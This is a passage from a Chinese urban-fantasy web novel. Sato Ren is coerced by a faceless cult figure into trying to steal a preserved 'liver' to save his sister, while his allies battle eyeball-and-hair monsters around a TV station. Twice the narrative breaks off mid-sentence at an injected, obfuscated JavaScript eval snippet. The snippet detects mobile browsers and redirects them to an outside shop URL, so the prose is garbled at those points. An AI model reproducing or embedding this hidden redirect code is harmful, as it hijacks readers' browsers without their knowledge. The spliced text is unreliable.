他嘶吼一声,像是受伤的野兽,猛地转身,拉开万事屋的门,头也不回地冲了出去,甚至没顾上穿外套,身影瞬间消失在楼梯拐角。 “莲!” 吴森森下意识想追,却被高宏亮按住。 “让他冷静一下!他知道电视台在哪儿吗?这么冲出去太危险了!” 高宏亮急道。 然而,仿佛是为了印证这份危险,就在佐藤莲冲出去后不到一分钟—— 窗外的天色,以肉眼可见的速度,迅速昏暗下来! 明明还是下午,却仿佛瞬间进入了深夜! 厚重的、不祥的铅灰色乌云不知从何处涌来,遮蔽了整个天空,云层低垂得仿佛触手可及。 紧接着,一片片晶莹的、散发着微弱寒气的雪花,竟然开始从空中缓缓飘落! “下雪了?” 长岛冰茶难以置信地跑到窗边,伸出手,一片雪花落在她掌心,带来刺骨的冰凉,“这怎么可能?阪大的初雪,至少还要一个多月啊!” 这不是自然的雪!空气中弥漫着一股阴冷、邪异、带着淡淡血腥和铁锈味的气息! 雪花落在皮肤上,不仅冰冷,还带着一丝微弱的、令人不适的麻痹感! “是‘域’!或者类似的东西!在影响天象!” 荒沉声道,周身隐隐有淡蓝色的水汽流转,抵抗着那股侵入的寒意。 就在这时,长岛冰茶一直握在手里的寻踪罗盘,指针突然如同发疯般剧烈旋转起来,然后猛地钉死在一个方向上——正是阪大电视台所在的区域! 指针颤抖着,散发出示警的红光! “在电视台附近!力量反应……非常强!而且……在扩散!” 长岛冰茶声音发紧。 “走!” 森内彻当机立断,抓起挂在椅背上的外套,“兰,你……” 他话未说完,一直如同影子般沉默站在门边的渡边兰,已经如同一道黑色的闪电,悄无声息地掠出了门外,方向正是佐藤莲消失的楼梯。 她的任务从来不是参与正面战斗,而是侦查、支援、以及……保护。 此刻,显然,她认为失控的佐藤莲,是当前最不稳定的因素,也是最需要关注的对象。 当然,她也觉得,佐藤莲目前是只需要保护的对象。 森内彻看着渡边兰消失的方向,眼中闪过一丝复杂,但很快化为决断:“让她去。我们走,去电视台!高宏,开车!吴小弟,长岛,荒,跟上!带上家伙!” 众人迅速行动起来,抓起手边的装备,跟着高宏亮冲向楼下停着的车子。 车外,异常的大雪已经将街道覆盖上了一层诡异的白霜,气温骤降,行人惊慌失措,交通开始陷入混乱。 铅灰色的天空下,阪大电视台那高耸的信号塔,在漫天飞雪中若隐若现,仿佛一根通往不详之地的黑色手指。 佐藤莲已经先一步冲入了这片异常的天象与危机之中。 渡边兰紧随其后。而万事屋的其他人,也驾车冲破越来越密的雪幕,朝着那罗盘所指、邪气冲天的中心疾驰而去。 ———— 狂奔。 冰冷的空气如同刀子般割过喉咙,肺部火辣辣地疼。 异常的大雪模糊了视线,街道变得陌生而诡异。 佐藤莲凭着模糊的方向感朝着记忆中电视台的大致位置冲去,但很快就在错综复杂的街巷和越来越厚的积雪中迷失了方向。 “哈……哈……” 他最终不得不停下来,双手撑着膝盖,弯下腰,大口大口地喘息,冰冷的雪花落在他的脖颈和头发上,迅速融化,带来刺骨的寒意。 身体的热量在飞速流失,而心中的焦灼和恐惧却如同野火般燃烧。 他抬起头,茫然四顾。四周是白茫茫一片,行人稀少,偶尔有车辆亮着昏黄的车灯,在雪中缓慢艰难地移动。 远处的电视台大楼在雪幕中只是一个模糊的轮廓。 他……该往哪里走? 无力感如同潮水般将他淹没。 不仅仅是此刻的迷失,更是长久以来累积的、对自身无能的痛恨。 他想起电视上妹妹那陌生而冰冷的笑容,想起她晕倒时画面的中断,想起自己冲出家门前,甚至没有勇气去面对她真实的生活。 “我……我算什么哥哥……” 他低声呢喃,声音在风雪中破碎不堪。 是不是对妹妹关心太少了? 是不是因为自己的逃避和麻木,才让菊变成了那样? 是不是因为自己没能保护好她,她才…… 就在他被自责和绝望吞噬,几乎要跪倒在雪地里时—— 一抹刺眼的白色,突兀地出现在他模糊的视野边缘。 佐藤莲猛地抬起头,顺着那抹白色看去。 只见就在他前方几步之外,积雪的路面上,静静地站着一个身影。 那人穿着一身质地奇特、纤尘不染的纯白长袍,长袍的边缘和宽大的袖口,用暗紫色和深红色交织的丝线,绣满了扭曲、繁复、令人望之生厌的诡异花纹,如同某种邪恶的符文或内脏的脉络。 风雪似乎刻意避开了他,在他周身形成一个无形的屏障,片雪不沾。 佐藤莲的目光竭力向上,想要看清来人的脸。 然而,对方的脸部笼罩在一层淡淡的白雾之中,无论他如何努力,都无法看清具体的五官,只能感觉到两道冰冷、漠然,仿佛能穿透灵魂的视线,正落在自己身上。 是敌是友?佐藤莲的心脏瞬间提到了嗓子眼,身体紧绷。 这诡异的装束,这不合常理的出现方式…… “佐藤菊,现在有危险。” 一个声音直接响起 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整个广场,仿佛被一张巨大、蠕动、由头发和眼球构成的恐怖之网所笼罩! 而在广场中心,电视台大楼的入口处,隐约可以看到一个穿着礼服、倒在地上的少女身影——正是佐藤菊! 她被一团格外浓密的、夹杂着诡异眼球的头发所包裹,生死不知。 画面一闪而逝。 佐藤莲猛地回过神,发现自己又回到了风雪中的街道,面前依然是那个神秘的白袍人。但刚才看到的恐怖景象,已经如同烙印般刻在了他的脑海里,让他浑身冰冷,血液几乎冻结。 下雪、瞬移、还有那地狱般的场景…… 这一切都超出了佐藤莲的认知,但无比真实地告诉他——菊,真的陷入了难以想象的巨大危险之中! “你……你是谁?你想怎么样?” 佐藤莲的声音干涩沙哑,带着恐惧,但更多是救妹妹的急切。 “带你来,是给你一个救她的机会。” 白袍人的声音依旧平静无波,“也是……一场交易。” “交易?什么交易?!” 佐藤莲急切地问。 “去森内彻的‘万事屋’,找到他隐藏的密室,打开里面的保险箱,取出一个装着‘肝脏’的玻璃管,交给我。” 白袍人缓缓说道,每个字都清晰无比,“作为交换,我可以保证佐藤菊清醒过来,并且没有生命危险。至少,在仪式完成前,她会是安全的。” 森内彻的密室?保险箱?装着肝脏的玻璃管? 佐藤莲懵了。他从未听说过万事屋有什么密室,更别提保险箱和肝脏了!森内彻那家伙,藏了这种东西? “我……我不知道什么密室,什么肝脏!” 佐藤莲摇头。 “你知道。它会指引你。” 白袍人说着,抬起一只同样笼罩在白雾中的手,伸出食指点向佐藤莲的眉心。 佐藤莲想躲,但身体仿佛被无形的力量禁锢,动弹不得。 那根冰冷的手指,轻轻点在了他的眉心正中。 刹那间,一股冰冷、邪恶、带着强烈意志的信息流,强行注入了他的脑海! 他“看到”了——万事屋二楼,森内彻办公室书架后面的暗门,复杂的密码锁,门后狭窄的通道,尽头那个沉重的金属保险箱。 以及箱子里,那个浸泡在淡绿色液体中、微微搏动着的、诡异的“肝脏” 的清晰影像! 同时,一种隐隐约约的、仿佛来自那肝脏本身的微弱“呼唤”或“共鸣”,开始在他意识深处产生,为他大致指明了方向和位置感。 “现在,你知道了。” 白袍人收回手指,声音依旧漠然,“选择在你。去找那枚‘钥匙’,来换你妹妹的‘时间’。记住,你只有……在她被完全‘编织’进‘网’之前。” 说完,不等佐藤莲反应,白袍人的身影如同水中倒影般一阵模糊、荡漾,然后彻底消失在漫天风雪之中,仿佛从未出现。 只留下佐藤莲一个人,僵硬地站在原地,眉心残留着冰冷的触感,脑海里是清晰的密室地图和肝脏影像,耳边是白袍人最后的警告,眼前则是妹妹在眼球与发丝地狱中生死不明的幻象。 风雪更急了。刺骨的寒冷让他打了个哆嗦,也让他从短暂的呆滞中惊醒。 没有时间犹豫了。 他猛地转身,望向万事屋所在的方向。虽然远,虽然大雪封路,但脑海中的“指引”和救妹妹的迫切,给了他最后的力量。 “森内彻……对不起了……” 他低声说了一句,不知是道歉,还是给自己打气。 然后,他咬紧牙关,逆着风雪,朝着“万事屋”的方向,再次迈开了沉重的步伐。 他知道,自己即将背叛收留他的地方,去窃取某种极度危险的、与邪教密切相关的物品。 但他别无选择。为了菊,哪怕前方是地狱,他也要闯一闯。 佐藤莲无暇细想。他只有一个念头:拿到肝脏,救妹妹! 风雪中,少年孤独而决绝的身影,渐渐远去,消失在通往“万事屋”的茫茫雪幕之中。 41. 叛走 万事屋二楼,森内彻办公室的暗门后,狭窄的密道内光线昏暗。 佐藤莲凭着脑海中那冰冷的指引,心脏狂跳,手脚冰凉地找到了那个沉重的金属保险箱。 复杂的密码盘在他眼中仿佛自动浮现出对应的数字,他颤抖着手,正要输入—— “咔哒。” 一声极其轻微的、几乎不可闻的机括声,在他身后响起。 佐藤莲浑身一僵,血液瞬间冻结。他缓缓地,一点点转过身。 密道入口的阴影里,渡边兰不知何时已经站在那里,如同一尊没有生命的黑色雕塑。 她脸上依旧蒙着面纱,只露出一双冰冷的、没有任何情绪波动的眼睛,正静静地看着他,看着他放在密码盘上的手,也看着他身后那个尚未打开的保险箱。 她什么都没说。 没有质问,没有惊讶,甚至没有愤怒。 只是那样看着,就让佐藤莲感到一股刺骨的寒意和无处遁形的羞愧。 “兰……兰姐……” 佐藤莲的声音干涩得几乎不成调。 渡边兰依旧沉默,只是迈步,无声而迅捷地逼近。 她的动作没有丝毫多余,出手如电,瞬间用一根特制的、带有灵力束缚效果的绳索,将佐藤莲的双手反剪,牢牢捆住,动作利落得仿佛演练过千百遍。 “唔!” 佐藤莲挣扎了一下,纹丝不动。他急了,眼泪瞬间涌了上来,不是疼,是绝望。 “兰姐!求求你!放开我!我需要那个东西!那个肝脏! 我要用它去换我妹妹的命!菊她……她现在很危险!被那些怪物抓住了!一个穿白袍子的人说,只有用那个肝脏才能换她平安!” 他语无伦次地哀求着,声音带着哭腔,将刚才遇到白袍人、看到幻象、被迫交易的事情和盘托出,只求能打动渡边兰。 然而,渡边兰的眼神没有丝毫波动。 她只是完成了捆绑,然后拿出一个特殊的通讯器,按下了紧急呼叫键,平静地对着话筒说了一句:“彻,莲,密室,意图开箱。” 言简意赅,汇报完毕。她收起通讯器,依旧像一尊沉默的守卫,挡在佐藤莲和保险箱之间,也挡住了他唯一的希望。 佐藤莲的心沉到了谷底。哀求无用。 他知道渡边兰的作风,绝对的冷静,绝对的任务优先,几乎不可能被私人感情左右。难道……就这么完了?菊…… 不!不能放弃! 极度的绝望和恐惧,反而激起了他骨子里那点被压抑已久的、属于少年人的狠劲和不顾一切。 他想起了口袋里,那枚在巷子里捡到的、诡异掉落的“眼球”石子! 虽然不知道是什么,但白袍人碰过它,它也烫伤过自己……或许……有用? 趁着渡边兰注意力似乎在留意外面的动静,佐藤莲集中全部精神,用那点微弱的、或许是眼球残留的感应,拼命“呼唤”着口袋里的眼球! 奇迹(吗?)发生了! 他感到口袋里的“石子”猛地一烫! 紧接着,那东西仿佛有生命般,自行穿透了布料,化作一道幽暗的光,瞬间没入了他被反绑的、紧贴着后腰的右手掌心! “啊——!” 一声短促的痛呼。掌心传来如同被烙铁烙印、又像被无数细针同时穿刺的剧痛! 但更诡异的是,那股剧痛伴随着一股冰冷、邪恶、却又充满力量的热流,瞬间从掌心扩散,流遍全身! “嗤啦——!” 那根特制的、带有灵力束缚的绳索,在接触到这股诡异力量的瞬间,竟然如同被强酸腐蚀般,冒起黑烟,迅速变黑、碳化、断裂! “!?” 渡边兰眼神终于一变,几乎在绳索断裂的同时,身形已经向后飘退,同时手中寒光一闪,短鞭已然在手,戒备地看向佐藤莲。 然而,佐藤莲并没有攻击她。 绳索断裂的瞬间,他感觉浑身充满了前所未有的、混杂着剧痛与邪异的力量,身体仿佛不受控制。 他脑海中只有一个念头——跑!去救妹妹! “吼——!” 他发出一声不似人声的低吼,双目赤红,猛地从地上弹起,不再看保险箱,也不看渡边兰,而是用尽全力,朝着密道另一头的墙壁狠狠撞去! “嘭!” 一声闷响,看似坚固的墙壁,竟然被他这蕴含着邪异力量的一撞,撞开了一个不规则的缺口,碎石飞溅! 渡边兰立刻挥鞭,紫电鞭影如蛇,卷向佐藤莲。 但佐藤莲此刻的速度和力量远超平时,竟然以一种扭曲的姿势,险之又险地避开鞭梢,头也不回地从破口跳了出去,落入下方厚厚的积雪中,几个翻滚,爬起来就朝着茫茫雪夜深处亡命狂奔! 渡边兰追到破口,看着佐藤莲迅速消失在风雪中的背影,没有立刻追击。 她皱了皱眉,看了看自己手中鞭子上残留的一丝诡异的、带着“注视”的力量,又回头看了一眼完好无损的保险箱。 她收起短鞭,再次拿出通讯器:“彻,莲逃脱。使用了未知邪力,破坏墙壁,方向不明。保险箱未开启。” 几分钟后,森内彻匆匆赶到。 他看着密道里断裂的绳索、墙壁上的破洞、完好但暴露了的保险箱,以及渡边兰简短的汇报,脸上那惯常的玩世不恭消失了,取而代之的是一种复杂的凝重。 他走到破洞边,望着外面呼啸的风雪,沉默良久,最终只是长长地、深深地叹了口气。 “在妹妹的生命安全前……这确实很难抉择。” 他低声自语,不知是说给谁听。然后,他转身,看向渡边兰:“兰,先不管他。我们去电视台那边。高宏他们,恐怕需要支援。至于莲……希望他别做出更蠢的事。” ———— 电视台广场外围,已然是怪物的海洋。 眼球怪如同蝗虫般铺天盖地,发出令人牙酸的吱吱声,疯狂地扑向任何活物,吸取精气,或钻入体内控制。 长发怪则从地面、墙壁、甚至被控制的尸体上疯狂生长,如同有生命的黑色触手,缠绕、绞杀、拖拽,将一切拖入发丝的深渊。 长岛冰茶和吴森森背靠背,奋力抵抗。 长岛冰茶的驱魔短杖挥舞出道道青色火焰,烧灼着靠近的眼球和发丝,但怪物数量太多,她的灵力和体力都在飞速消耗。 吴森森则全力催动森鹿纹身,催生出的坚韧藤蔓和带刺枝条不断抽打、缠绕怪物,同时利用森林祝福带来的自然感知,勉强预判一些攻击,但面对这潮水般的攻势,也是左支右绌,险象环生。 “高宏先生那边……也不知道怎么样了……” 吴森森喘着粗气,脸上被发丝擦出几道血痕。 高宏亮为了引开一个格外巨大、似乎是指挥官级别的眼球聚合怪,已经冲进了怪物堆深处,此刻不见踪影。 “别分心!先顾好我们自己!” 长岛冰茶厉声喝道,一杖打爆几只袭来的眼球,但更多的又涌了上来。 他们几乎寸步难行,别说靠近电视台大楼,甚至感觉还在回退。 就在两人渐感绝望,以为要被这无尽的怪物海洋淹没时—— 一阵低沉、浑厚、充满奇异韵律的诵经声,穿透了怪物的嘶叫和风雪的呼啸,清晰地传入他们耳中。 “(某种类似梵音的古咒)” 声音不高,却带着一种安定心神、驱邪破妄的力量,让周围疯狂进攻的怪物都出现了一瞬间的迟滞。 吴森森和长岛冰茶惊讶地循声望去。 只见在怪物群的另一侧,一个手持乌木金刚杖、身穿洗得发白、打着补丁的深蓝色结袈裟、头戴多角帽、脚踩草鞋的行者,正不紧不慢地走来。 他口中念诵着经文,手中那根看似普通的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016514|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金刚杖,每一次挥出,都带着淡淡的金光,轻轻一点,一只眼球怪便“噗”地一声化为黑烟;随意一扫,一片长发怪便如同遇到克星般枯萎断裂。 他行走在怪物群中,如同闲庭信步,一杖一个“小朋友”,硬生生在密密麻麻的怪物海中,开出了一条通道! 而跟在他身后几步的,是一个同样穿着僧衣、背着笈、年纪不大的小徒弟。 他正手忙脚乱地挥舞着一根木棍,抵挡着从侧面漏过来的零星怪物,嘴里还小声抱怨着:“师傅!您倒是慢点!等等我啊!哎哟!” 不小心被一根发丝抽到胳膊,疼得龇牙咧嘴。 那行者很快清理到了吴森森和长岛冰茶附近。 他停下脚步,目光平静地扫过两人,尤其是在吴森森臂上的森鹿纹身和长岛冰茶的驱魔师装扮上停留了一瞬,然后开口,声音温和却有力:“二位施主,可是要去找那展开此等邪域的妖物?” 吴森森和长岛冰茶连忙点头:“是!前辈!中心电视台大楼那里!” 行者微微颔首:“此域邪气深重,妖物众多,寻常手段难以深入。贫僧愿以佛法开道,但需片刻专注。可否请二位为贫僧护法片刻,抵挡周遭骚扰?” “当然!多谢前辈!” 两人立刻应下,精神一振。 那一直挨打的小徒弟也苦着脸站到了师傅身边,举起了木棍。 于是,三人呈三角将行者护在中间。 吴森森的藤蔓在外围布下一层屏障,长岛冰茶以火焰术式点杀靠近的飞行眼球。 小徒弟用木棍拨打地面的发丝,胸前的印章在木棍每次打到怪物的时候都会隐隐发光。 而行者则闭上双眼,手持金刚杖立于身前,口中诵经声陡然加快、加重,杖身的金光越来越盛! 周围的怪物似乎感应到了威胁,变得更加疯狂,潮水般涌来。 护法的三人压力陡增,咬牙坚持。 片刻之后,行者猛地睁眼,眼中精光一闪,口中吐出一字真言: “唵!” 同时,他将手中金光灿灿的金刚杖,朝着电视台大楼的方向,重重一顿地! “轰——!” 一道凝练无比、粗如儿臂的金色光柱,自杖头激射而出! 光柱所过之处,无论眼球、发丝、还是被控制的尸体,皆如同烈日下的冰雪,瞬间消融、汽化,连灰烬都不剩! 光柱去势不减,在密密麻麻的怪物海洋中,硬生生犁出了一条笔直的、宽约两米、干干净净的通道! 通道两侧的地面上,残留着发光的金色经文,如同烙印,散发着强大的驱邪之力,令两侧的怪物惊恐退避,不敢靠近。 “此路可维持一炷香时间,邪物难近。速去。” 行者收杖,气息略有不稳,但对两人说道。 “多谢前辈/大师援手!” 吴森森和长岛冰茶又惊又喜,连忙躬身道谢,然后不敢耽搁,顺着那条金光闪闪的安全通道,朝着电视台大楼方向快速跑去。 看着两人远去的背影,行者这才轻轻舒了口气,摸了摸自己光溜溜的下巴。 他身后的小徒弟小方立刻凑上来,苦着脸撸起袖子,露出刚才被发丝抽红的地方:“师傅!师傅!有没有活血化瘀的膏药啊?好疼!” “咚!” 回答他的,是师傅毫不留情、敲在后脑勺上的一记金刚杖。 “嗷!” 小方抱头蹲下。 “膏药没有,棍棒管够。起来,此地不宜久留,邪气源头未除,通道维持不了多久,我们也得找路进去了。” 师傅淡淡道,目光再次投向那邪气冲天的电视台大楼深处。 “小方,今天顺利的,可以去森内大叔家吃晚饭。” 小方屁颠屁颠地跟上。 风雪依旧,但那条金色的通道,如同黑暗中的希望之路,指引着吴森森和长岛冰茶,直插邪域的核心。 42. 她在看着 远离风暴中心的某间公寓里,佐藤菊的母亲,或许该称她为佐藤美和子,正心烦意乱地踱步。 手机被她紧紧攥在手里,屏幕因为反复解锁、查看、又锁上而微微发烫。 无人接听。还是无人接听。 那个男人,她怀着身孕、准备二婚的男友,的电话,从今天下午开始,就再也打不通了。 起初是忙音,后来直接转到了语音信箱。她发的信息,也石沉大海。 一股不祥的预感,如同冰冷的藤蔓,悄然缠上她的心脏。 她想起最近男友日益敷衍的态度,想起他时不时流露出的、对即将出生孩子性别的在意,想起他前妻留下的那个“可爱女儿”偶尔投来的、带着敌意的目光…… 难道……是因为检测报告? 几天前,在极度的不安和想要“巩固地位”的心态驱使下,她瞒着所有人,通过某些见不得光的渠道,偷偷去做了胎儿性别鉴定。 今早,结果以加密邮件的形式发到了她一个不常用的匿名邮箱里。 她颤抖着手点开,看到了那个冰冷的字母——F。 女孩。 是个女孩。 那一刻,她感觉天旋地转。 男友渴望儿子的殷切眼神,他提到“传宗接代”时的热切,以及他偶尔对菊那毫不掩饰的冷淡和不耐烦…… 所有画面交织在一起,让她如坠冰窟。 她还没想好怎么告诉他,或者说,她根本不敢告诉。 她原本还抱着一丝侥幸,或许……或许看在孩子的份上,他会接受?或许检测有误? 但现在,联系不上。 在这异常大雪、新闻里不断播报“电视台附近发生重大安全事故,请市民远离”的诡异时刻,他突然失联了。 是巧合?还是……他知道了?或者,他根本不在乎了? “不……不会的……他说过会对我负责的……” 美和子喃喃自语,试图说服自己,但声音里充满了不确定和恐惧。 她下意识地抚摸着自己微隆的小腹,那里孕育着一个不被期待的女孩,也承载着她对新生活最后、最脆弱的希望。 就在这时,一阵强烈的心悸毫无征兆地袭来! 心脏仿佛被一只无形的手狠狠攥住,猛地一抽! 尖锐的疼痛让她闷哼一声,差点摔倒在地,连忙扶住墙壁。 这疼痛来得快,去得也快,但残留的恐慌、空虚,以及一种难以言喻的、仿佛被什么可怕东西呼唤的感觉,却久久不散。 她喘息着,茫然地抬起头,目光无意识地投向窗外——正是阪大电视台所在的大致方向。 外面的天空异常黑暗,大雪纷飞。但在那个方向的天空深处,她似乎……看到了什么。 不是具体的事物,而是一种感觉。 一种黑暗、粘稠、充满恶意,却又带着一丝诡异的、让她血液发冷的“熟悉感” 的东西,正在那个方向汇聚、升腾。 仿佛有一只看不见的、巨大的眼睛,正从那里缓缓睁开,漠然地俯瞰着整个城市,也……看向她。 是错觉吗?是孕期的激素影响,还是过度焦虑产生的幻觉? 但那股心悸和莫名的“呼唤”是如此真实。一个疯狂的念头,不受控制地从她心底冒出来: 菊……我的菊……是不是在那里?是不是出事了? 这个念头一旦产生,就再也无法遏制。 对女儿长久以来的忽视、愧疚,对腹中未出生孩子的担忧,对男友可能抛弃她的恐惧,以及对那股莫名“注视”的惊悸…… 种种情绪混杂在一起,形成一股强大的、近乎本能的冲动—— 去那里!去电视台那边!必须去! 她甚至来不及细想为什么,也顾不上外面的异常天气和新闻警告。 她匆匆抓起外套和手提包,甚至没换鞋,就跌跌撞撞地冲出了公寓门,冲进了漫天风雪之中,朝着电视台的方向,深一脚浅一脚地跑去。 ———— 电视台前的广场,此刻已是一片绝对的、非人的领域。 广场中央,那团最初包裹着佐藤菊的、浓密蠕动的头发,已经膨胀、扭曲、生长成了一棵高达十数米的、诡异到极点的“树”。 “树干”和“枝条”,完全由无数粗细不一、彼此绞缠、如同活蛇般蠕动的漆黑发丝构成,表面布满了湿滑粘腻的不明液体。 “树冠”则是一个巨大无比的、由发丝编织成的、如同心脏般缓缓搏动的“囊”。 而最令人头皮发麻的是,这棵“发丝树”的每一根“枝条”上,每一片“树叶”间,乃至“树干”的表面,都密密麻麻、如同果实或肿瘤般,“生长”着无数颗“眼睛”! 这些眼睛大小不一,形态各异。 所有眼睛都在缓缓转动,或开或合,齐齐“注视”着四面八方,散发出无尽的怨毒、饥渴与疯狂的“注视”欲望。 此刻,从这棵“眼球发丝树”最顶端中,一道粗壮无比、暗紫色、仿佛由浓缩的邪气、怨念与生命精华混合而成的光柱,正冲天而起,笔直地射向铅灰色、大雪纷飞的天空! 光柱接触到低垂的云层,并没有穿透,而是如同墨汁滴入清水般,迅速晕染、扩散开来! 暗紫色的光芒以肉眼可见的速度,沿着云层向四面八方蔓延,所过之处,云层被“污染”,变成了同样暗沉、涌动的紫黑色,并且开始缓缓地、如同一个倒扣的巨碗般,向着地面沉降、合拢! 一个半径初步估计达到20公里的、暗紫色、半透明、由“被污染的天空”构成的巨大穹顶,正在阪大市上空缓缓形成! 这就是“域”的雏形——一个以眼球发丝树为核心,以被掠夺的眼睛和生命为能源,覆盖全城的超巨型邪恶魔法领域! 一旦这个“域”完全形成、彻底闭合,那么整个阪大市,连同其中数百万的人口、所有的动植物,都将被彻底封锁、包裹在这个独立的、规则扭曲的、充满眼球与发丝怪物的恐怖空间之内! 到那时,里面所有的生灵,都将成为这个邪恶存在的“案板上的鱼肉”,被随意宰割、吞噬,用以“补完”其自身,或者进行更可怕的仪式。 随着暗紫色“天穹”的扩散和沉降,更诡异、更令人绝望的景象出现了: 那被污染、变成紫黑色的“天空”本身,开始蠕动、扭曲,然后,一只只巨大无比、冰冷无情、充满贪婪与毁灭欲望的“眼睛”的虚影,开始在天穹上缓缓浮现、睁开! 这些“天空之眼”大小不一,有的如同湖泊,有的如同山峦,它们没有瞳孔,只有一片深邃的、旋转的暗紫色漩涡,或者布满血丝的惨白。 它们高悬于所有人头顶,冰冷地、漠然地、带着一种高等生物俯视蝼蚁般的“凝视”,俯瞰着下方正在发生的一切——逃窜的人群,战斗的身影,蔓延的怪物,以及那棵冲天而起的眼球发丝树。 “渴求注目之后,它也开始凝视。” 这凝视本身,就是一种无形的、强大的压迫与污染。 被“天空之眼”注视到的人,会感到心神恍惚,莫名恐惧,甚至产生幻觉,意志薄弱者会直接瘫软在地,失去反抗的念头。 而那些眼球怪和发丝怪,在这“凝视”之下,仿佛得到了加持,变得更加狂暴、迅捷。 整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016515|194202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个阪大市,正在变成一座被“天空”凝视的、巨大的、缓缓合拢的活体祭坛与养殖场。 荒的力量在城市和这逐渐成型的“域”中受到限制,荒流似乎并没有出现的打算。 森内彻和渡边兰正在赶来的路上。 佐藤莲带着未知的邪力和目的,不知所踪。 所有人的命运,都将在这“眼球发丝树”下,“凝视之天”下,迎来最终的交汇与碰撞。 阻止“域”的完全形成,摧毁核心,救出可能还存有意识的佐藤菊……这是他们唯一,也是最后的机会。 时间,正在“天空之眼”的冷漠注视下,飞速流逝。 ———— “嗤啦——!” 刀刃裹挟着璀璨的金行锐气,再次撕裂空气,将数条缠绕而来的、布满眼球的粗壮发丝触手齐根斩断! 粘稠的黑色汁液和破碎的眼球组织四处飞溅。 然而,几乎就在断口出现的下一秒,新的肉芽和发丝就以肉眼可见的速度疯狂再生、交织,转眼间又恢复了原状,甚至变得更加粗壮,带着更多嘶吼的眼球,再次朝着高宏亮猛扑过来! 那庞大的、由无数眼球和发丝扭曲盘结而成的“聚合怪”,如同拥有无尽生命力的血肉沼泽,斩之不尽,杀之不绝。 高宏亮喘息着,额角见汗,握刀的手臂因持续高强度的劈砍而微微发麻。 他身上的衣服早已被划破多处,露出的皮肤上带着被发丝勒伤、被眼球酸液腐蚀的痕迹。 眼前的怪物不仅再生力恐怖,力量、速度也远超寻常,更麻烦的是,它似乎能吸收周围散逸的邪气和那些被它杀死之人的生命力,越战越强。 他且战且退,试图将这头巨怪引离广场中心,远离吴森森和长岛冰茶他们可能前进的方向,也为后方可能赶来的森内彻等人减轻压力。 但怪物的触手无穷无尽,从四面八方袭来,将他牢牢困在一片相对空旷的区域,难以彻底摆脱。 又是一次险之又险的闪避,尖锐的发丝擦着他的脸颊飞过,带起一串血珠。 高宏亮啐出一口带血的唾沫,眼中凶光更盛,但心底却不可避免地升起一丝焦躁。 时间不多了。 吴森森和长岛那俩孩子,冲进去了吗?有没有遇到更可怕的危险?那个神秘的行者靠得住吗? 森内彻和兰,怎么还没到?路上也被怪物拖住了? 还有莲那个傻小子……到底跑哪儿去了?会不会做出更不可挽回的事? 以及……店里的小黑豹,一个豹待着,会不会害怕?吴森森的父母要是知道了这边的情况…… 杂乱的念头一闪而过。 高宏亮狠狠摇头,将这些纷乱的思绪甩开。现在不是分心的时候! 他深吸一口气,压下翻腾的气血,将更多的力量注入手中的刀。 刀身嗡鸣,金气更盛。他眼神锐利如刀,死死锁定前方那不断再生、嘶吼的聚合怪。 无论如何,他必须在这里挡住这东西!至少,要为其他人争取时间,为他们扫清一部分障碍! “一定要……平安无事啊……” 这个念头,并非针对某个特定的人,而是如同一道无声的祈愿,掠过他疲惫却依旧坚定的心间。 为了那些并肩作战、值得信赖的同伴,为了那些可能还困在邪域中无辜的生命,也为了这座他生活、并愿意守护的城市。 高宏亮低吼一声,不再保留,身形如电,再次主动冲向那庞大的、再生不息的怪物! 刀光如瀑,金气纵横,在这被“凝视之天”笼罩的、绝望的战场上,撕开一道属于人类的、不屈的锋芒! 43. 注视之间 踏入电视台广场核心区域,预想中更加疯狂、密集的攻击并未到来。 相反,眼前的景象让吴森森和长岛冰茶感到一种毛骨悚然的、秩序井然的诡异。 之前那些如同无头苍蝇般疯狂攻击、只有吞噬和破坏本能的眼球怪和发丝怪,在这里似乎“进化” 了,或者说,被纳入了某种更高级的“体系”。 广场上,游荡、行走、甚至“工作”着的,是许多以巨大、缓慢转动的眼球作为头部,身体由较为规整、拟人化的黑色发丝编织而成的“人形怪物”。 它们的身高、体型各异,有的穿着用发丝“编织”出的、类似西装、制服、裙装等模糊的衣物轮廓,甚至拿着类似文件夹、对讲机、摄影器材的道具。 更令人心底发寒的是,它们之间竟然在进行着看似正常的交流与活动! 吴森森那过于敏锐的自然感知,不再只是接收到一片混乱的嘶吼和呢喃,而是开始“听”到一些有“意义”的片段,仿佛收音机调对了某个诡异的频道: “……三号机位准备,聚焦‘圣树’顶端的光辉……” “……午间‘供养’报告提交了吗?东区需要补充三十个新鲜‘注视’……” “嘿,你听说了吗?西街那家面包房的老板娘,昨天也‘发芽’了,她烤的杏仁可颂可真不错……” “……赞美眼睛……祂的视线无处不在……” “……&%#@(一段无法理解、扭曲刺耳、仿佛亵渎神名的音节)* 至高无上……” 这些对话片段,混杂着对这场灾难中死者生前行为的拙劣模仿,以及对“眼睛”和某个不可名状存在的狂热赞美,如同冰冷的毒液,不断试图渗入吴森森的意识。 他不得不拼命集中精神,努力过滤、忽视这些干扰,额头上渗出细密的冷汗。 感知力太强,在这种环境下简直成了一种酷刑。 “吴,你没事吧?脸色好差。” 长岛冰茶注意到他的异样,担忧地问。 她知道吴森森感知特殊,但也无能为力。“隔绝感知的护符我有,但都是低级的,副作用明显,可能会让你完全‘失聪’,在这种地方太危险了。高级的……我弄不到。” 